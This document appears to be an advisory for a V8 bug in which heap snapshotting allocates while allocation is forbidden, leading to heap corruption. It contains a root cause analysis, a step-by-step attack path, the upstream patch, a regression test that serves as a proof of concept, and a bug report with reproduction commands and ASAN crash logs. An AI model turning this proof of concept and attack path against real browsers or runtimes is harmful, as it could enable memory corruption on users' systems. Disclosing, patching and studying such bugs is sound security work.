CVE-2026-17729
Overview
Background
- Heap snapshot
- V8’s mechanism for capturing the live object graph, during which allocation is forbidden so the heap graph stays stable and traversable.
- `@@toStringTag`
- the well-known
Symbol.toStringTagproperty V8 reads to derive an object’s constructor/tag name, which the snapshotter queries while labeling nodes. - Out-of-object double property
- a
double-valued field stored in an object’s separate property backing store (not inline in the object), whose retrieval boxes the rawdoubleinto a freshly allocatedHeapNumber. - `AllowAllocation::kNo`
- the flag
LookupIterator::FetchValuereceives to signal that no heap allocation may occur while reading a property value.
Root Cause Analysis
While taking a heap snapshot, V8 calls LookupIterator::FetchValue with AllowAllocation::kNo to read a custom @@toStringTag and compute the constructor name without allocating. The pre-patch guard only returned undefined early when a double field was in-object (field_index.is_inobject() && field_index.is_double()), so an out-of-object double property fell through to JSObject::FastPropertyAt. Reading an out-of-object double still boxes the value into a new HeapNumber, which allocates during the no-allocation snapshot window and violates the invariant that no object is created while the heap graph is frozen, tripping a DCHECK and leaving V8 operating on a potentially stale/freed heap state (use-after-free).
The fix drops the field_index.is_inobject() condition so the early undefined return covers any double field, in-object or out-of-object, guaranteeing FetchValue never allocates when allow_allocation == AllowAllocation::kNo.
double fields only, ignoring that out-of-object double fields also require boxing into a HeapNumber; the fix removes the is_inobject() check so every double field short-circuits to undefined and no allocation can occur.Attack Path
- Craft the object shape
Create an object with several defined properties plus a
Symbol.toStringTagwhose value is a large integer that V8 stores as an out-of-objectdoublefield. - Keep it reachable Retain the object in a live variable so the heap snapshotter visits it and attempts to read its constructor tag.
- Trigger the snapshot
Invoke a heap snapshot (e.g. via
%TakeHeapSnapshotor DevTools), drivingLookupIterator::FetchValuewithAllowAllocation::kNo. - Force the boxing allocation
The out-of-object
doublebypasses the in-object-only guard and reachesJSObject::FastPropertyAt, which allocates aHeapNumbermid-snapshot. - Corrupt heap state The disallowed allocation during the frozen graph traversal breaks the snapshot invariant, yielding a use-after-free on heap objects the snapshotter still references.
Impact Assessment
@@toStringTag as an out-of-object double and the ability to trigger snapshotting, which is reachable through DevTools-driven or programmatic snapshot paths.Files Changed
src/objects/lookup.cctest/mjsunit/regress/regress-double-toStringTag.js
Audit Directions
- Allocation under no-allocation scopesAudit every code path guarded by
AllowAllocation::kNoorDisallowGarbageCollectionfor value-reads (doubles, boxed primitives) that can still allocate aHeapNumberor other object. - Partial field-kind guardsLook for early-return checks that qualify on storage location (
is_inobject) rather than the value kind (is_double), since the location does not determine whether boxing allocation happens. - Snapshot and profiler read pathsReview
LookupIterator,JSObject::FastPropertyAt, and constructor-name/tag lookups reached by the heap snapshotter and profiler for any remaining allocating property accesses.
Patch
From 9634c1ea1c47db5494f5486b6bfa25c11cf441bc Mon Sep 17 00:00:00 2001 From: Dominik Inführ <[email protected]> Date: Mon, 08 Jun 2026 15:38:33 +0200 Subject: [PATCH] [objects] Fix DCHECK when reading out-of-object double @@toStringTag During heap snapshotting, allocation is disallowed. When V8 attempts to read a custom @@toStringTag property to get the constructor name, it must not allocate. However, LookupIterator::FetchValue could still trigger an allocation for doubles in out-of-object properties. This CL fixes this by returning undefined in that case as well. TAG=agy CONV=811d12eb-568f-4c95-813c-bf202ead40c9 Bug: 520656237 Change-Id: I6a67ac9e656aebdc6d5a8c01acb6e5eb2ce54a19 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7908689 Commit-Queue: Dominik Inführ <[email protected]> Reviewed-by: Igor Sheludko <[email protected]> Cr-Commit-Position: refs/heads/main@{#107912} --- diff --git a/src/objects/lookup.cc b/src/objects/lookup.cc index f50bc81..16a809d 100644 --- a/src/objects/lookup.cc +++ b/src/objects/lookup.cc @@ -1020,8 +1020,7 @@ DirectHandle<JSObject> holder = GetHolder<JSObject>(); FieldIndex field_index = FieldIndex::ForDetails(holder->map(), property_details_); - if (allow_allocation == AllowAllocation::kNo && field_index.is_inobject() && - field_index.is_double()) { + if (allow_allocation == AllowAllocation::kNo && field_index.is_double()) { return isolate_->factory()->undefined_value(); } return JSObject::FastPropertyAt( diff --git a/test/mjsunit/regress/regress-double-toStringTag.js b/test/mjsunit/regress/regress-double-toStringTag.js new file mode 100644 index 0000000..0e770ca --- /dev/null +++ b/test/mjsunit/regress/regress-double-toStringTag.js @@ -0,0 +1,19 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax + +function make() { + var v = { maxByteLength: 1073741824 }; + Object.defineProperty(v, "p1", { value: 0 }); + Object.defineProperty(v, "p2", { value: 0 }); + Object.defineProperty(v, Symbol.toStringTag, { value: 1073741824 }); + return v; +} + +// Keep it alive in a variable so it is visited during the snapshot. +const keep = make(); + +// Trigger heap snapshot +%TakeHeapSnapshot("/dev/null");
Regression Test / PoC
diff --git a/test/mjsunit/regress/regress-double-toStringTag.js b/test/mjsunit/regress/regress-double-toStringTag.js
new file mode 100644
index 0000000..0e770ca
--- /dev/null
+++ b/test/mjsunit/regress/regress-double-toStringTag.js
@@ -0,0 +1,19 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+function make() {
+ var v = { maxByteLength: 1073741824 };
+ Object.defineProperty(v, "p1", { value: 0 });
+ Object.defineProperty(v, "p2", { value: 0 });
+ Object.defineProperty(v, Symbol.toStringTag, { value: 1073741824 });
+ return v;
+}
+
+// Keep it alive in a variable so it is visited during the snapshot.
+const keep = make();
+
+// Trigger heap snapshot
+%TakeHeapSnapshot("/dev/null");
Original Bug Report
V8 HeapProfiler snapshot crash from allocation in `FetchValue(kNo)` for out-of-object double fields
Summary
LookupIterator::FetchValue(AllowAllocation::kNo) does not fully honor its no-allocation contract for fast-property double fields. It suppresses boxing only when the double field is in-object. If the field is out-of-object, FetchValue(kNo) still calls JSObject::FastPropertyAt(...), which boxes the double into a newly allocated HeapNumber.
This is reachable through JSReceiver::GetConstructorName() when it reads @@toStringTag using GetDataProperty(..., AllowAllocation::kNo).
The security-relevant consumer is heap snapshot generation. V8HeapExplorer / heap snapshot iteration holds raw V8 heap pointers while computing constructor names for heap entries. In a same-source ASAN build with is_debug=false and dcheck_always_on=false, the official V8 inspector-test harness crashes in the HeapProfiler.takeHeapSnapshot protocol path when moving-GC stress is enabled.
This report does not claim arbitrary read/write, a pure webpage-only trigger, a typed ASAN heap-use-after-free report, or stable crash behavior in default stock Chrome release builds without GC stress flags.
Affected Code Path
Revision used for reproduction:
d0ed76cc734d2d59f041af7017cf066945bf402c
Relevant code:
// src/objects/js-objects.cc
GetConstructorHelper(...) {
DisallowGarbageCollection no_gc;
...
auto maybe_to_string_tag =
JSReceiver::GetDataProperty(&it_to_string_tag, AllowAllocation::kNo);
...
}
// src/objects/lookup.cc
if (allow_allocation == AllowAllocation::kNo && field_index.is_inobject() &&
field_index.is_double()) {
return isolate_->factory()->undefined_value();
}
return JSObject::FastPropertyAt(...);
For out-of-object double fields, the field_index.is_inobject() condition is false, so the value is boxed and allocation occurs despite AllowAllocation::kNo.
The heap snapshot consumer reaches this through:
Inspector HeapProfiler.takeHeapSnapshot
V8HeapProfilerAgentImpl::takeHeapSnapshotNow
v8::HeapProfiler::TakeHeapSnapshot
HeapProfiler::TakeSnapshot
HeapSnapshotGenerator::GenerateSnapshot
V8HeapExplorer::AddEntry / IterateAndExtractReferences
V8HeapExplorer::GetConstructorName
JSReceiver::GetConstructorName
GetConstructorHelper
JSReceiver::GetDataProperty(..., AllowAllocation::kNo)
LookupIterator::FetchValue(kNo)
JSObject::FastPropertyAt
Object::WrapForRead -> NewHeapNumber
Main PoC
PoC file:
pocs/fetchvalue-inspector-test-heap-snapshot-many.js
It uses V8’s official inspector-test harness and sends HeapProfiler.takeHeapSnapshot through the protocol test layer. The script creates 50,000 live ordinary JS objects with an out-of-object double-valued Symbol.toStringTag:
var v = { maxByteLength: 1073741824 };
Object.defineProperty(v, "p1", { value: 0 });
Object.defineProperty(v, "p2", { value: 0 });
Object.defineProperty(v, Symbol.toStringTag, { value: 1073741824 });
1073741824 is intentionally larger than the 31-bit Smi maximum in this pointer-compression build, so the value is represented as a double field. The preceding properties push @@toStringTag into the out-of-object property store.
Reproduction
Build the official inspector harness:
ninja -C out/asan-nodcheck inspector-test
ninja -C out/asan inspector-test
The out/asan-nodcheck build used here had:
is_debug = false
symbol_level = 1
is_asan = true
v8_enable_sandbox = true
dcheck_always_on = false
v8_enable_slow_dchecks = false
v8_static_library = false
treat_warnings_as_errors = false
Run the release-semantics ASAN/nodcheck repro:
PKG=/path/to/unpacked/submission
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1 \
out/asan-nodcheck/inspector-test \
--stress-compaction --stress-scavenge=1 --max-semi-space-size=1 --no-lazy \
test/inspector/protocol-test.js \
"$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"
Observed result:
objects: 50000
AddressSanitizer:DEADLYSIGNAL
ERROR: AddressSanitizer: SEGV on unknown address ...
READ memory access
#0 v8::internal::HeapObject::SizeFromMap(...)
#1 v8::internal::PagedSpaceObjectIterator::Next()
#2 v8::internal::HeapObjectIterator::NextObject()
#4 v8::internal::V8HeapExplorer::IterateAndExtractReferences(...)
#5 v8::internal::HeapSnapshotGenerator::GenerateSnapshot()
#10 v8::HeapProfiler::TakeHeapSnapshot(...)
#11 v8_inspector::V8HeapProfilerAgentImpl::takeHeapSnapshotNow(...)
#12 v8_inspector::V8HeapProfilerAgentImpl::HeapSnapshotTask::Run(...)
Full log:
evidence/fetchvalue-inspector-test-nodcheck-many.out
Run the dcheck-on confirmation:
PKG=/path/to/unpacked/submission
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1 \
out/asan/inspector-test \
test/inspector/protocol-test.js \
"$PKG/pocs/fetchvalue-inspector-test-heap-snapshot-many.js"
Observed result:
Debug check failed: AllowHeapAllocation::IsAllowed().
Symbolizing the stack shows:
NewHeapNumber
Object::WrapForRead<kYoung>
JSObject::FastPropertyAt
LookupIterator::FetchValue(kNo)
JSReceiver::GetDataProperty(kNo)
GetConstructorHelper
JSReceiver::GetConstructorName
V8HeapExplorer::GetConstructorName
V8HeapExplorer::AddEntry
HeapSnapshotGenerator::GenerateSnapshot
Full log:
evidence/fetchvalue-inspector-test-dcheck-many.out
Additional Evidence and Scope Boundaries
Included auxiliary files:
pocs/fetchvalue-json-circular.js
evidence/fetchvalue-json-dcheck.out
evidence/fetchvalue-json-nodcheck.out
This confirms that a web API consumer (JSON.stringify circular-structure error formatting) reaches the same GetConstructorName / FetchValue(kNo) invariant violation in dcheck-on builds. In the nodcheck ASAN stress run it exits cleanly, consistent with this consumer being handle-safe.
pocs/fetchvalue-inspector-preview.js
evidence/fetchvalue-inspector-preview-nodcheck-many.out
This checks the Inspector Runtime object-preview path. The nodcheck ASAN stress run over 50,000 vulnerable objects exits cleanly, consistent with Inspector object preview using handle-safe v8::Local / DirectHandle paths. This is not the security-relevant crashing consumer.
Suggested Fix
Make LookupIterator::FetchValue(AllowAllocation::kNo) avoid boxing all double fields, not only in-object double fields. For example, remove the field_index.is_inobject() requirement from the existing guard, or add an explicit out-of-object double case that returns undefined_value() under AllowAllocation::kNo.